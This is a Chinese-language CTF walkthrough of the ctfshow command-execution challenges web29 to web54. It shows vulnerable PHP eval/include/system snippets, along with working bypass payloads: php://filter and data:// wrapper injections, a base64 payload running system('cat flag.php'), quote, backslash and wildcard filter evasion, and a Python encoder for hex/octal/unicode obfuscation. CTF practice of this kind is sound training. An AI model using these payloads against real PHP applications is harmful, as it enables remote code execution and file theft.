ctfshow web入门 && 命令执行相关(连载中)
ctfshow web入门 && 命令执行相关(连载中)

ctfshow web入门 && 命令执行相关(连载中)

web29

<?php
error_reporting(0);
if(isset(_GET['c'])){c = _GET['c'];
    if(!preg_match("/flag/i",c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,可以用cat fl”ag 或cat f*进行绕过

web30

<?php
error_reporting(0);
if(isset(_GET['c'])){c = _GET['c'];
    if(!preg_match("/flag|system|php/i",c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤system flag php;

方法太多,略

web32~36

<?php
error_reporting(0);
if(isset(_GET['c'])){c = _GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i",c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这些就比较有意思了,解法有很多,大体类似,比如

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

我在本地测试了一下,在eval(c)时,如果c的结尾时?>就会提前结束。可以将eval(payload)想象成如下的形式:

<?php
payload

这样就比较好理解了。这样处理过后就变成了文件包含,你正则匹配的时参数c,与我a有什么关系?

后面的伪协议操作就比较多了,php://input之后post读文件也行,fliter也行,data协议也是可以的

web37

 <?php
//flag in flag.php
error_reporting(0);
if(isset(_GET['c'])){c = _GET['c'];
    if(!preg_match("/flag/i",c)){
        include(c);
        echoflag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

本题过滤了flag,因为存在include,我们首先考虑使用php伪协议进行绕过。这里讲一下使用data://协议的两种解法:

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

官方给的payload,利用data协议对传入的参数c进行base64编码解码,成功绕过。

?c=data://text/plain,<?php system('cat fl*');?>

这是我给的另一种思路。如果flag被ban了的话,一般会想到两种思路,一种是官方给的编码解码进行绕过,还有一种是利用Linux系统的通配符这样就能进行绕过。

web38

 <?php
//flag in flag.php
error_reporting(0);
if(isset(_GET['c'])){c = _GET['c'];
    if(!preg_match("/flag|php|file/i",c)){
        include(c);
        echoflag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

ban了php和file,这样的话只能用base编码解码进行绕过了

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web 39

 <?php
//flag in flag.php
error_reporting(0);
if(isset(_GET['c'])){c = _GET['c'];
    if(!preg_match("/flag/i",c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
} 

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用。payload:

?c=data://text/plain,<?php system('cat fl*');?>

web40





题型是无参数构造rce,我在原来博客园的博客写过详细讲解,并且加上了Le0n师傅的加强魔改版。

[GXYCTF2019]禁止套娃

0xctf[No parameters readfile]

web41

感觉自己讲不清楚,把出题师傅的博客扔出来吧

yu22x

web42

 <?php
if(isset(_GET['c'])){c=_GET['c'];
    system(c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

在linux中,>符号是将上一个命令的结果作为文本输入到后面的文件里,不显示在命令行中。在本段代码中是将执行命令的结果输入到/dev/null中,也就是直接消失(可以这么理解吧)。所以本题是不存在回显的,我们需要绕过的就是>dev/null。

需要让这个命令提前退出,我们可以在结尾处加上;分号,这样就能和后面的语句分开。也能加上||。在Linux中,|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”。

web43~54

在这十几道题中考的全都是命令执行的一些绕过方式。在这里做一个大的总结:

0x01 绕过被过滤的字符串:

这里我们举个例子:题目过滤了flag这个字符串,我们有以下方法进行绕过

1.使用 fla”g 表示。这是Linux的特性,只能用于执行命令的对象,这里是我们要读取的文件。我在根目录下放置了一个叫做flaggg的文件用于举例,下文同。

2.使用fla\g表示,和第一种方式相同,但是反斜线并不只能绕过命令执行的对象,还有执行的命令本身。比如cat这个字符串也被过滤了,我们在无法替代的情况下可以使用ca\t来表示cat。

3.利用通配符绕过,也是Linux的特性。在Linux执行命令的过程中,可以利用通配符去匹配要执行的对象。我们平常利用的就是两个符号:?和*

*是匹配多个字符,比如在我的环境中,flaggg就可以用 f*进行匹配,也可以用fl*进行匹配,或者*ggg也可以匹配到flaggg这个文件。

?是匹配单个字符,在本环境中,flaggg可以用?laggg,或者???ggg 这样去进行匹配。

4.字符串拼接绕过(要求php版本大于7.0)

这就牵扯到php的特性了。虽然我们平常使用php写代码时不会像使用c或者c艹写代码那样声明参数类型,但是php本身是支持进行声明的,比如

$a=(string)hello world;

并且不用加引号(后面会提到)

这样就能声明一个字符串参数$a,其值是 hello world

但是在这种情况下,如果不写清楚声明类型,php就会把圆括号内的数据当作字符串处理。于是我们就可以使用php的 . 符号在括号内进行拼接字符串进行绕过。

比如题目是eval(‘$a’),我们要执行phpinfo并且phpinfo是被过滤的字符串,我们可以这样表示:

(p.h.p.info)();

(ph.(pi).nfo)();(可以嵌套)

因为这种方式是利用php的特性在php层面进行的绕过,我们能绕过的对象包括php函数名,php参数,执行的Linux命令以及命令对象。

5.字符串转义绕过

提到绕过,不管是不是php语言,我们都会想到字符串转义。在各大高级语言中支持的转义字符串不一样,比如JavaScript就只支持unicode和十六进制的直接编码。在php中,当php的版本大于7的时候,我们可以使用双引号将编码后的字符串包裹起来并且加上反斜杠,php会自动解码出原字符串。

脚本如下:

def hex_encode(payload):
    re_payload = ''
    for x in payload:
        x = "\\x" + hex(ord(x))[2:]
        re_payload += x
    print(re_payload)

def oct_encode(payload):
    re_payload = ''
    for x in payload:
        x = "\\" + oct(ord(x))[2:]
        re_payload += x
    print(re_payload)

def uni_encode(payload):
    repayload = ''
    for x in payload:
        x = "\\u{{{0}}}".format(hex(ord(x))[2:])
        repayload += x
    print(repayload)

payload = 'system'
hex_encode(payload)
oct_encode(payload)
uni_encode(payload)
这个方式绕过的对象和上面一种是一样的。其中八进制编码能在过滤了所有字母的情况下进行命令执行,也就是无字母rce

6.url编码取反绕过

var_dump(urlencode(~’phpinfo’));

执行完后获得的是%8F%97%8F%96%91%99%90

我们要在url里面输入(~%8F%97%8F%96%91%99%90)();才能进行绕过。

发表评论

您的电子邮箱地址不会被公开。